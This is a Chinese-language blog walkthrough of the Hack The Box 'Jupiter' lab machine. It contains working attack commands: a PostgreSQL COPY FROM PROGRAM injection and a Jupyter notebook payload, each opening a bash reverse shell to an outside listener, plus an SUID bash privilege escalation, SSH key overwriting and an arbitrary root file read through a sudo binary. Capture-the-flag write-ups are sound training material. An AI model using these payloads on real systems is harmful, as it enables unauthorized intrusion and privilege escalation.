HTB-Jupiter


HTB-Jupiter

一、思路概要

1.信息收集发现子域,子域api存在PostgreSQL注入;

2.PostgreSQL注入反弹shell获取postgres用户权限;

3.查看/etc/passwd发现junojovian用户;

4.juno用户有定时任务文件并存在命令执行;

5.命令执行suid提权获取juno用户权限;

6.查看端口开放状态发现Jupyter服务;

7.ssh公钥伪造实现端口转发;

8.token泄露成功登录并通过Jupyter反弹shell获取jovian用户权限;

9.sudo -l发现任意文件读取获取root文件。

二、信息收集

nmap扫描端口服务

80端口开放,有域名,写入本地hosts文件

echo "10.10.11.216 jupiter.htb" >> /etc/hosts

浏览器访问,首页如下图

扫描子域

gobuster vhost -u http://jupiter.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

发现子域kiosk.jupiter.htb,写入本地hosts文件

echo "10.10.11.216 kiosk.jupiter.htb" >> /etc/hosts

访问子域

由标签页标题判断出是Grafana框架,访问的同时Burp抓包看到如下api,其中有PostgresSQL语句执行

三、PostgreSQL注入反弹shell

参考:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#cve-20199193

存在注入(可用SELECT version()测试是否存在sql注入)

提前在本地kali开启监听,依次执行如下命令反弹shell

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.5/9898 0>&1\"';

成功获取postgres用户权限

查看/etc/passwd,除root外还有两个用户:junojovian

四、定时任务命令执行suid提权

查找属于用户 juno 的文件和目录(经尝试,jovian用户的文件postgres用户无可读权限)

find / -user juno 2>/dev/null

查看与众不同的文件

cat /dev/shm/network-simulation.yml

此处执行pspy64,对比执行结果,可看到下侧server和client的path和args会被当作命令执行

切换成交互式shell(方便编辑文件)

python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

修改vim /dev/shm/network-simulation.yml

- path: /usr/bin/cp
  args: /bin/bash /tmp/bash

- path: /usr/bin/chmod
  args: u+s /tmp/bash

稍等片刻,可看到/tmp/bash文件有了suid

执行如下命令提权,成功获取juno用户权限

/tmp/bash -p

进入juno用户home目录下查看

cd /home/juno
ls la

juno 用户没有user.txt读权限,但可看到有.ssh目录

五、ssh公钥伪造

看到有认证密钥,可以伪造ssh密钥连接

本地用ssh-keygen生成ssh公私钥

传到靶机,并覆盖掉原来的密钥文件authorized_keys

如果本地kali不是root用户生成的密钥,需要用chmod 600 id_rsa给私钥添加权限

用如下命令通过私钥连接ssh

ssh -i id_rsa juno@10.10.11.216

查看端口服务

本地kali开启ssh端口转发

ssh -i id_rsa -L 8888:127.0.0.1:8888 juno@10.10.11.216

然后浏览器访问localhost:8888,需要password或token登录

六、登录凭据泄露二次反弹shell

之前说jovian用户的文件postgres用户无可读权限,此时我们看一下,有个目录/opt/solar-flares

find / -user jovian 2>/dev/null

/opt/solar-flares/logs目录下有日志文件,随便打开一个看会有token

那么可用如下命令查看所有文件内的所有token

cat * | grep “token”

token很多,用最后一个,因为最后一个是最近登录的有效token,成功登录

打开flares.ipynb,点击上侧菜单栏FileNew NotebookPython3 (ipykernel) 新建一个脚本

写入反弹shell脚本

import os; os.system('bash -c "bash -i >& /dev/tcp/10.10.14.5/9898 0>&1"')

本地kali开启监听,点击Run,成功获取jovian用户权限

七、任意文件读取获取root文件

sudo -l查看可执行的命令

执行,提示没找到配置文件

用strings分析一下这个命令文件里可能有什么配置文件

strings /usr/local/bin/sattrack | grep -i config

看到有/tmp/config.json,但实际去找的时候却没有,于是用如下命令查找config.json

find / -name config.json 2>/dev/null

发现/usr/local/share/sattrack/config.json,猜测应该是执行命令的时候会从/tmp目录读取配置文件,那么我们将配置文件复制到/tmp/config.json

cp /usr/local/share/sattrack/config.json /tmp/config.json

查看配置文件内容

再次执行命令,发现tmp目录下生成了一个tle目录,目录内是配置文件中tlesources的内容,猜测应该是从目标链接把文件下载到tle目录

那么我们修改配置文件tlesources为如下,直接读取root.txt

file:///root/root.txt

再次执行,发现root.txt成功被读取出来,任意文件读取

sudo /usr/local/bin/sattrack

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录